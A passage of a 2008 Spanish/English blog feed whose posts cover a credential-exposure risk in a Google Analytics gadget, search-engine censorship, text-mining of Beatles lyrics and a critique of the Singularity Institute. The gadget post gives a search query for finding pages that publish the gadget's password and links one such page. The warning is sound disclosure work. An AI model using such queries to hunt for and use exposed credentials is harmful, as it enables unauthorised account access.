50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2F113442111111660630273&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2FGoogleAnalytics&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;.&lt;/span&gt;xml&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;amp;&lt;/span&gt;&lt;br /&gt;mid&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 140, 0);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;amp;&lt;/span&gt;&lt;br /&gt;parent&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;http&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;3A&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2F&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2Fmechanicalpoetry&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;.&lt;/span&gt;blogspot&lt;span style="color: rgb(128, 128, 48);"&gt;.&lt;/span&gt;com&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2F&lt;/span&gt;'&lt;br /&gt;style&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;'width: 100%; display: block'&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;/&lt;/span&gt;iframe&lt;span style="color: rgb(128, 128, 48);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;La verdad que trate de encontrar gente que haya publicado su &lt;span style="font-style: italic;"&gt;password&lt;/span&gt; y casi no la encontré (&lt;span style="font-style: italic;"&gt;sera porque no existe ningun buscador web para codigo HTML/Javascript?&lt;/span&gt;). Lo único que encontre fue esto que sigue, el &lt;span style="font-style: italic;"&gt;password&lt;/span&gt; no funciona asi que no hace faltan que lo prueben.&lt;br /&gt;&lt;br /&gt;La búsqueda:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.google.com.ar/search?q=%22up_password%3D%22+%22gmodules.com%22&amp;amp;hl=en&amp;amp;filter=0"&gt;&lt;b&gt;"up_password=" "gmodules.&lt;/b&gt;&lt;/a&gt;&lt;b&gt;&lt;a title="Look up definition of com"&gt;com&lt;/a&gt;"&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;y solamente encontré &lt;a href="http://netzoo.net/0607/hearst/ASternberg4Hearst/netZoo%20%BB%20%91Democracy%20on%20Deadline%92_files/ifr"&gt;este&lt;/a&gt; sitio con un usuario y password públicos.&lt;br /&gt;&lt;br /&gt;Por lo pronto queda picando el tema de los buscadores web que indexen HTML y Javascript completos. ¿Alguien conoce alguno?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-1781503655339651787?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/1781503655339651787/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2008/12/danger-3rd-party-google-analytics.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/1781503655339651787'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/1781503655339651787'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2008/12/danger-3rd-party-google-analytics.html' title='Danger: 3rd Party Google Analytics Widget'/><author><name>termo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_AzwtiowVPjI/SUTLQ7kZjuI/AAAAAAAAADU/bCfeEaqsiac/s72-c/analytics2.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-1206415191054557244</id><published>2008-12-01T13:31:00.000-08:00</published><updated>2008-12-14T02:01:10.823-08:00</updated><title type='text'>Censura en la Web</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.thepostermint.com/images/450_1984_sm_P.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 357px; height: 366px;" src="http://www.thepostermint.com/images/450_1984_sm_P.jpg" alt="" border="0" /&gt;&lt;/a&gt;(afiche de la pelicula &lt;a href="http://www.imdb.com/title/tt0048918/"&gt;"1984", año 1956&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;Luego de ver que Diego Maradona logró quitar el keyword "maradona" del buscador web Yahoo versión local de Argentina (Google apeló evitando temporalmente el fallo, ver &lt;a href="http://www.thefirstpost.co.uk/45976,opinion,how-maradona-censored-yahoo-and-google"&gt;How Maradona Censored Yahoo and Google&lt;/a&gt;), salio un &lt;a href="http://www.iht.com/articles/2008/11/30/technology/google01.php?page=1"&gt;artículo&lt;/a&gt; en el NYTimes (&lt;a href="http://www.iht.com/articles/2008/11/30/technology/google01.php?page=1"&gt;Google's Gatekeeper's&lt;/a&gt;) sobre los directivos de Google encargados de decidir que información y búsquedas se censuran dentro de los productos de ellos. En general, estas cuestiones se discuten país a país porque según ví los pedidos legales de censura provienen de los gobiernos nacionales de distintos paises.&lt;br /&gt;&lt;br /&gt;También hubo casos de modelos que también fueron sacadas del Yahoo Seach Argentina, porque se quejaron legalmente de fotos suyas desnudas publicadas sin permiso. Aca hay ejemplos de búsquedas censuradas en Yahoo Argentina:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://ar.search.yahoo.com/search?p=maradona"&gt;http://ar.search.yahoo.com/search?p=maradona&lt;/a&gt; (por Diego Maradona)&lt;/li&gt;&lt;li&gt;&lt;a href="http://ar.search.yahoo.com/search?p=mazza"&gt;http://ar.search.yahoo.com/search?p=mazza&lt;/a&gt; (por Valeria Mazza, modelo).&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;Con motivo de una orden judicial solicitada por partes privadas, nos hemos visto obligados a suprimir temporalmente todos o algunos de los resultados relacionados con ésta búsqueda.&lt;/blockquote&gt;Hay un sitio web que rastrea todos estos casos legales de censura en la Web, se llama &lt;a href="http://www.chillingeffects.org/"&gt;Chilling Effects&lt;/a&gt;, estan armando una base de datos con las comunicaciones legales "&lt;span class="main"&gt;Cease and Desist". Aca hay un ejemplo (&lt;a href="http://www.chillingeffects.org/dmca512/notice.cgi?NoticeID=869"&gt;"Agrandar el pene" Site Complains to Google #2&lt;/a&gt;&lt;/span&gt;&lt;span class="main"&gt;) que tiene fragmentos interesantes. Disculpen por favor el contenido del ejemplo pero lo tuve que poner porque tiene secciones interesantes como pedidos de censura para keywords,  ad words,  etc.&lt;br /&gt;&lt;br /&gt;Este pedido de censura es buenísimo, &lt;a href="http://www.chillingeffects.org/dmca512/notice.cgi?NoticeID=2396"&gt;Disney Complains of Pirated "Pirates" Photos&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Posteen en los comentarios mas búsquedas censuradas si encuentran.&lt;br /&gt;&lt;/span&gt;&lt;span class="main"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="display: block;" id="formatbar_Buttons"&gt;&lt;span class="" style="display: block;" id="formatbar_CreateLink" title="Enlace" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;img src="http://www.blogger.com/img/blank.gif" alt="Enlace" class="gl_link" border="0" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-1206415191054557244?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/1206415191054557244/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2008/12/censura-en-la-web.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/1206415191054557244'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/1206415191054557244'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2008/12/censura-en-la-web.html' title='Censura en la Web'/><author><name>termo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-5373442803870336278</id><published>2008-07-27T22:46:00.000-07:00</published><updated>2008-12-14T02:01:10.823-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='beatles'/><category scheme='http://www.blogger.com/atom/ns#' term='politization'/><category scheme='http://www.blogger.com/atom/ns#' term='paul'/><category scheme='http://www.blogger.com/atom/ns#' term='john'/><category scheme='http://www.blogger.com/atom/ns#' term='textmining'/><title type='text'>Textmining And The Politization of Beatles Lyrics (cont.)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_AzwtiowVPjI/SI1e4luKSjI/AAAAAAAAAB8/FWqSgEntUKs/s1600-h/ambos_musicos.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_AzwtiowVPjI/SI1e4luKSjI/AAAAAAAAAB8/FWqSgEntUKs/s320/ambos_musicos.png" alt="" id="BLOGGER_PHOTO_ID_5227939068738423346" border="0" /&gt;&lt;/a&gt;View the previous posts &lt;a href="http://mechanicalpoetry.blogspot.com/2008/06/text-mining-and-politization-of-beatles.html"&gt;here&lt;/a&gt;. In this one, I hear the ideas of a friend about how possibly Paul was more apolitical when written lyrics for the Beatles than John. So I added the results of &lt;a href="http://www.geocities.com/SunsetStrip/Palladium/7821/lyrics1.html"&gt;John Lennon's lyrics&lt;/a&gt; and &lt;a href="http://www.geocities.com/SunsetStrip/Palladium/7821/lyrics2.html"&gt;Paul McCartney&lt;/a&gt; lyrics to  the curves plotted.&lt;br /&gt;&lt;br /&gt;This is the result, now I made different plots for each of the two distances tested. Only the albums released before 1987 were included in the experiments.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_AzwtiowVPjI/SMS-8J6a31I/AAAAAAAAADA/vi1ZnpjaGYw/s1600-h/plot-jaccard.bmp"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://1.bp.blogspot.com/_AzwtiowVPjI/SMS-8J6a31I/AAAAAAAAADA/vi1ZnpjaGYw/s400/plot-jaccard.bmp" alt="" id="BLOGGER_PHOTO_ID_5243525806828478290" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_AzwtiowVPjI/SMS_JventZI/AAAAAAAAADI/Hk833bi4cLI/s1600-h/plot-sorensen.bmp"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://4.bp.blogspot.com/_AzwtiowVPjI/SMS_JventZI/AAAAAAAAADI/Hk833bi4cLI/s400/plot-sorensen.bmp" alt="" id="BLOGGER_PHOTO_ID_5243526040250725778" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Remember that we are comparing with the "Politics" article from Wikipedia (permanent link &lt;a href="http://en.wikipedia.org/w/index.php?title=Politics&amp;amp;oldid=228131326"&gt;here&lt;/a&gt;). Closer to 0.0 means no vocabulary related with Politics article and 1.0 means that the lyrics have exactly the same vocabulary.&lt;br /&gt;&lt;br /&gt;Viewing the Jaccard's distance we can observe that after the dissolution of the Beatles, John Lennon has a very political album: "Mind Games". An obvious objection is that this experiments don't consider the metaphorical power of language, only the syntactic content of the lyrics.&lt;br /&gt;&lt;br /&gt;In the Sorensen-like distance plot it's observed that Paul is more politically inclined, maybe this has something to do with the size of the lyrics or the number of songs but the is some variation on the size of the album lyrics, Paul has bigger album lyrics.&lt;br /&gt;&lt;br /&gt;I very interesting patter is seen on the Paul McCartney lyrics in the Sorensen-like distance plot. Three very similar cycles are observed, maybe this patterns are due to recording contracts requiring 4 albums, but I am just speculating.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-5373442803870336278?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/5373442803870336278/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2008/07/textmining-and-politization-of-beatles.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/5373442803870336278'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/5373442803870336278'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2008/07/textmining-and-politization-of-beatles.html' title='Textmining And The Politization of Beatles Lyrics (cont.)'/><author><name>termo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_AzwtiowVPjI/SI1e4luKSjI/AAAAAAAAAB8/FWqSgEntUKs/s72-c/ambos_musicos.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-8485696336987430319</id><published>2008-06-17T21:49:00.000-07:00</published><updated>2008-12-14T02:01:10.823-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='beatles'/><category scheme='http://www.blogger.com/atom/ns#' term='politization'/><category scheme='http://www.blogger.com/atom/ns#' term='lyrics'/><category scheme='http://www.blogger.com/atom/ns#' term='textmining'/><category scheme='http://www.blogger.com/atom/ns#' term='politics'/><title type='text'>Textmining And The Politization of Beatles Lyrics</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_AzwtiowVPjI/SFidEzxTofI/AAAAAAAAABw/gZRA-4wHTMQ/s1600-h/Beatles+Pillow+Fight.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_AzwtiowVPjI/SFidEzxTofI/AAAAAAAAABw/gZRA-4wHTMQ/s200/Beatles+Pillow+Fight.jpg" alt="" id="BLOGGER_PHOTO_ID_5213089274623402482" border="0" /&gt;&lt;/a&gt;In this post I will show you a little experiment I designed to use some basic text-mining concepts applied to the analysis of rock lyrics. I not a huge fan of The Beatles, but I really enjoy listening to the some of the latest albums and I questioned myself if those album where the most politically inclined or not. The answer was YES.&lt;br /&gt;&lt;br /&gt;I compared the bag (multiset) of word of every &lt;a href="http://en.wikipedia.org/wiki/The_Beatles_discography#Studio_albums"&gt;Beatles Studio Album&lt;/a&gt; with a reference bag of words extracted from the Wikipedia article for &lt;a href="http://en.wikipedia.org/wiki/Politics"&gt;Politics&lt;/a&gt;. The comparation included two similarity measures, &lt;a href="http://en.wikipedia.org/wiki/Jaccard_index"&gt;Jaccard similarity&lt;/a&gt; and a &lt;a href="http://en.wikipedia.org/wiki/S%C3%B8rensen_similarity_index"&gt;Sorensen-like similarity&lt;/a&gt; I deviced (1.0 means very similar to politics article and 0.0 means nothing in common with the article).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_AzwtiowVPjI/SFiaj1jLR3I/AAAAAAAAABg/OFHrgilKnvE/s1600-h/plot_inv.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_AzwtiowVPjI/SFiaj1jLR3I/AAAAAAAAABg/OFHrgilKnvE/s400/plot_inv.png" alt="" id="BLOGGER_PHOTO_ID_5213086509142067058" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;For the former measure (Jaccard) the most political album resulted &lt;a href="http://en.wikipedia.org/wiki/Sgt._Pepper%27s_Lonely_Hearts_Club_Band"&gt;Sgt. Pepper's Lonely Hearts Club Band&lt;/a&gt; and for the latter was &lt;a href="http://en.wikipedia.org/wiki/The_Beatles_%28album%29"&gt;The White Album&lt;/a&gt;, my favorite Beatles album! This latter measure is more robust because uses word frequencies instead or word # of appearances. After that album a strong de-politization of the lyrics is observed.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_AzwtiowVPjI/SFiazZ0AVtI/AAAAAAAAABo/Gg7WtJEwXpk/s1600-h/500px-The_White_Album.svg.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_AzwtiowVPjI/SFiazZ0AVtI/AAAAAAAAABo/Gg7WtJEwXpk/s320/500px-The_White_Album.svg.png" alt="" id="BLOGGER_PHOTO_ID_5213086776574367442" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-8485696336987430319?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/8485696336987430319/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2008/06/textmining-and-politization-of-beatles.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/8485696336987430319'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/8485696336987430319'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2008/06/textmining-and-politization-of-beatles.html' title='Textmining And The Politization of Beatles Lyrics'/><author><name>termo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_AzwtiowVPjI/SFidEzxTofI/AAAAAAAAABw/gZRA-4wHTMQ/s72-c/Beatles+Pillow+Fight.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-788102598001091917</id><published>2008-06-04T22:40:00.000-07:00</published><updated>2008-12-14T02:01:10.823-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ai'/><category scheme='http://www.blogger.com/atom/ns#' term='godel'/><category scheme='http://www.blogger.com/atom/ns#' term='institute'/><category scheme='http://www.blogger.com/atom/ns#' term='singularity'/><title type='text'>AI Singularity or Gödel's Final Laugh</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://twistedphysics.typepad.com/cocktail_party_physics/images/godel.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px;" src="http://twistedphysics.typepad.com/cocktail_party_physics/images/godel.jpg" alt="" border="0" /&gt;&lt;/a&gt;(in the photo are portrayed Gödel and Einstein)&lt;br /&gt;&lt;br /&gt;I predict that in the coming decades, humanity will likely create a bunch of powerful institutes, misleading politicians to attract founding into esoteric, yet useless, areas of science. This will result in a new form of government, called &lt;a href="http://en.wikipedia.org/wiki/Idiocracy"&gt;Idiocracy&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;In this post I will criticize some aspects of the foundations of the &lt;a href="http://www.singinst.org/"&gt;The Singularity Institute of Artificial Intelligence&lt;/a&gt;. On the other side, I found very intriguing some philosophical and scientific questions putted on the table by some scientists of the institute, but in general I think that the advocacy of the institute is fragile on several aspects.&lt;span style="display: block;" id="formatbar_Buttons"&gt;&lt;span class="on down" style="display: block;" id="formatbar_CreateLink" title="Enlace" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;/span&gt; &lt;blockquote&gt;&lt;/blockquote&gt;&lt;br /&gt;I'll discuss some concepts that I think that are not accurate in the overview and mission of the Institute ("&lt;a href="http://www.singinst.org/overview/whatisthesingularity"&gt;What is the Singularity?&lt;/a&gt;").&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Human intelligence is the foundation of human technology&lt;/blockquote&gt;Human science is the foundation of human technology, in general, intelligent people not devoted to science are incapable of developing new technologies.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;If technology can turn around and enhance intelligence, this closes the loop, creating a positive feedback effect.&lt;/blockquote&gt;The loop is already closed, humans, with or without the help of technology (like writing), can improve themselves through self-reflection, thinking and decision-making processses. Maybe the central issue is speed, they comment more on that aspect further ahead.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;but it would also arise, albeit initially on a slower timescale, from humans with direct brain-computer interfaces creating the next generation of brain-computer interfaces,&lt;br /&gt;&lt;/blockquote&gt;I can't see why new interfaces will bring new intelligence, classic speech or keyboard have more to do with intelligence and symbolic processing that images and analogic movements.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;The current estimate is that the typical human brain contains something like a hundred billion neurons and a hundred trillion synapses.&lt;br /&gt;&lt;/blockquote&gt;I believe the key ingredient here is linkage, besides there are a hundred trillion direct connections in the brain (synapses) the paths between neurons have a number much more larger than that. Regarding the importance of links in intelligence, I see much more potential on AI involving Internet, than in AI involving human-machine interfaces or virtual-environments. With regard to numbers, atomic operations per-second are not a guarantee, intellectual processes involves several entangled systems. We can use an analogy, having a third-world country with the same population as a first-world country doesn't make both country equally wealthy.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;However, in the computing industry, benchmarks increase exponentially, typically with a doubling time of one to two years. The original Moore's Law says that the number of transistors in a given area of silicon doubles every eighteen months; today there is Moore's Law for chip speeds, Moore's Law for computer memory, Moore's Law for disk storage per dollar, Moore's Law for Internet connectivity, and a dozen other variants.&lt;br /&gt;&lt;/blockquote&gt;This "laws" can't continue forever, thermodynamics limits any kind of computation, wires are getting thinner, more heat is disipated, even quantum computter suffer from this limits when they interact with non-quantum computers. For a more detailed description, read for example &lt;a href="http://www.cwi.nl/%7Epaulv/papers/physcomp92.ps"&gt;Theory of Thermodynamics of Computation.&lt;/a&gt; From the economic side of this growth, its also non-sustainable, production of goods can't grow forever at an exponential growth, even if this benefits the governing elites. Also watch the following to observ exponential growth on power consumption.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.acmqueue.com/figures/issue007/fengfig2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://www.acmqueue.com/figures/issue007/fengfig2.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;But leave aside for the moment the question of how to build smarter minds, and ask what "smarter-than-human" really means. And as the basic definition of the Singularity points out, this is exactly the point at which our ability to extrapolate breaks down.&lt;span style="font-style: italic;"&gt;We don't know because we're not that smart. We're trying to guess what it is to be a better-than-human guesser. &lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;With this kind of sophist arguments you can protect concepts like God or related, if a supreme being exists then you can't comprehend its decisions or thinking. Anyone can speculate about things that don't exist, quimeras, flying hypos, etcetera. The last phrase resembles the Liar's Paradox "This sentence is false" formulated in an artificial intelligence context or the Berry's Paradox "The smallest&lt;span style="text-decoration: underline;"&gt;&lt;/span&gt; positive integer not definable in under eleven words", in this case is something like "the smallest better-than-human intelligence described by humans".&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Self-improvement is far harder than optimizing code; nonetheless, a mind with the ability to rewrite its own source code can potentially make itself faster as well.&lt;br /&gt;&lt;/blockquote&gt;From the psicological point-of-view I think that freewill can be used for self-improvement. On the other side, making transformations on computer codes have been proved to led to non-predictable  results, because if results were predictable basic Computability Theory threorems will be false (computers cannot decide computer properties in general, view &lt;a href="http://en.wikipedia.org/wiki/Rice%27s_theorem"&gt;Rice's Theorem&lt;/a&gt;). Merging both points of view, is not difficult to argue that self-improvement is not predictable, complex decisions like this can often lead to opposite effects.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Combine faster intelligence, smarter intelligence, and recursively self-improving intelligence&lt;br /&gt;&lt;/blockquote&gt;Well, faster intelligence has been refuted with the "big numbers don't matter" argument, smarter intelligence is a sophism (smarter than what? is there a limit to human intelligence?) and the recursive self-improving concept if think is not applicable to practical computers, it's only a theoretical artifact, for example &lt;a href="http://www.idsia.ch/%7Ejuergen/optimalsearch.html"&gt;Optimal Universal Search&lt;/a&gt;, due to exponential time algorithms an huge constants involved.&lt;br /&gt;&lt;br /&gt;Maybe in a following post I will attack the problem of "&lt;a href="http://www.singinst.org/overview/whyworktowardthesingularity"&gt;Why Work Toward the Singularity?&lt;/a&gt;". Is their founding money walking to a Black Hole Singularity?&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://graphics8.nytimes.com/images/2008/06/02/science/tier.countdown533.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://graphics8.nytimes.com/images/2008/06/02/science/tier.countdown533.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-788102598001091917?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/788102598001091917/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2008/06/ai-singularity-or-gdel-final-laugh.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/788102598001091917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/788102598001091917'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2008/06/ai-singularity-or-gdel-final-laugh.html' title='AI Singularity or Gödel&amp;#39;s Final Laugh'/><author><name>termo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-7184252606778534299</id><published>2008-06-02T19:45:00.000-07:00</published><updated>2008-12-14T02:01:10.823-08:00</updated><title type='text'>¿Luciano Miguens es en realidad Count Dooku, Tristan es Kirchner?</title><content type='html'>Bueno, finalmente este blog 